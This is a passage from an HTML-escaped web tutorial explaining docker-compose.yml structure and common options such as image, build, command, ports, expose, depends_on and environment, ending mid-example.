file&lt;/h2&gt;&#xA;&lt;p&gt;Just as the concept of a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/&#34;&gt;Dockerfile existed in Docker&lt;/a&gt;&#xA;, where you configured the state of a container in a declarative way, in Docker compose there is an equivalent: yml files.&lt;/p&gt;&#xA;&lt;p&gt;Before we start with the commands let&amp;rsquo;s explain the structure of a docker-compose configuration file and some common guidelines.&lt;/p&gt;&#xA;&lt;p&gt;A docker-compose file is simply a file with yml extension and format. To use it just create it and start adding content.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch docker-compose.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These yml files are incredibly simple to understand.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  &amp;lt;service_name&amp;gt;:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    &amp;lt;configuration_variable&amp;gt;:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      &amp;lt;values&amp;gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    &amp;lt;configuration_variable&amp;gt;:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      &amp;lt;values&amp;gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  nombre_de_otro_&amp;lt;service&amp;gt;:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    &amp;lt;configuration_variable&amp;gt;:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      &amp;lt;values&amp;gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A docker-compose file starts by &lt;strong&gt;specifying the version of docker compose&lt;/strong&gt; to be used. For this example we will use version 3.8.&lt;/p&gt;&#xA;&lt;p&gt;The services section is nested after the version. There can be as many services as we want; web framework, web server, database, documentation, cache, etc. Each service will have its own configuration variables and their respective values. That&amp;rsquo;s all, as simple as that.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-reference-services-names-in-docker-compose&#34;&gt;How to reference services&amp;rsquo; names in docker compose?&lt;/h3&gt;&#xA;&lt;p&gt;The name we use for each service in our yml file will serve as a reference for its use in other services.&lt;/p&gt;&#xA;&lt;p&gt;For example, if a service is called &amp;ldquo;&lt;em&gt;db&lt;/em&gt;&amp;rdquo;, this is the name we should use in other applications to refer to a host or location.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py en Django&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HOST&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;db&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;configuration-options-in-docker-compose&#34;&gt;Configuration options in docker compose&lt;/h2&gt;&#xA;&lt;p&gt;There are many configuration variables, which you can consult in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.docker.com/compose/compose-file/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official Docker documentation&lt;/a&gt;&#xA;, but since you&amp;rsquo;re already here, trust me, you don&amp;rsquo;t have to read them all, I&amp;rsquo;ll let you know the most useful ones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;image&#34;&gt;image&lt;/h3&gt;&#xA;&lt;p&gt;The image configuration sets the image from which the service will be generated, ideal if our service does not need very complicated customization.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;services:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  db:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image: postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;build&#34;&gt;build&lt;/h3&gt;&#xA;&lt;p&gt;In case we need a custom image, however it would be better to use a Dockerfile. The build option allows us to indicate the directory where it is located.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  webapp:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: ./ubicacion_del_Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;context-and-dockerfile&#34;&gt;context and dockerfile&lt;/h3&gt;&#xA;&lt;p&gt;We can also write a custom Dockerfile, instead of the default one, specifying in context the place where it is located and in dockerfile its name. This is quite useful because it allows us to specify different files for production or development.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  webapp:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      context: ./ubicacion_del_Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      dockerfile: Dockerfile-personalizado&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;command&#34;&gt;command&lt;/h3&gt;&#xA;&lt;p&gt;Command overwrites the container&amp;rsquo;s default command. This option is ideal for executing a command when starting a service, for example a web server.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ports&#34;&gt;ports&lt;/h3&gt;&#xA;&lt;p&gt;Ports tells us the ports that we will expose to the outside and to which port of our machine they will be linked, always in the format of HOST:CONTAINER.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;80:8000&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the code above, port 80 of our machine will correspond to port 8000 of the container. Remember, the syntax is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;#ZgotmplZ&#34;&gt;HOST:CONTAINER&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can also specify our desired protocol: UDP or TCP.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;80:8000/udp&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;expose&#34;&gt;expose&lt;/h3&gt;&#xA;&lt;p&gt;Expose also exposes ports, &lt;strong&gt;the difference with ports is that the ports will only be available for the linked services,&lt;/strong&gt; not for the machine from where we are running docker-compose.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  redis:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: redis&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    expose:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;6379&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;depends_on&#34;&gt;depends_on&lt;/h3&gt;&#xA;&lt;p&gt;Sometimes we want one of our services to run only after another. For example, for a web server to work properly, it is necessary to have a database that is already running.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;depends_on&lt;/em&gt; allows us to make the start of the execution of a service depend on others. In simpler words, it tells docker-compose that we want to start the web service **only if all other services have already been loaded.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    depends_on:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - db&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - redis&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above example docker-compose will run the web service &lt;strong&gt;only if the db and redis services are already available&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;environment&#34;&gt;environment&lt;/h3&gt;&#xA;&lt;p&gt;The environment configuration allows us to set a list of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;environment variables&lt;/a&gt;&#xA; that will be available in our service.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#ff5c57&#34;&gt;POSTGRES_USER&lt;/span&gt;&lt;span 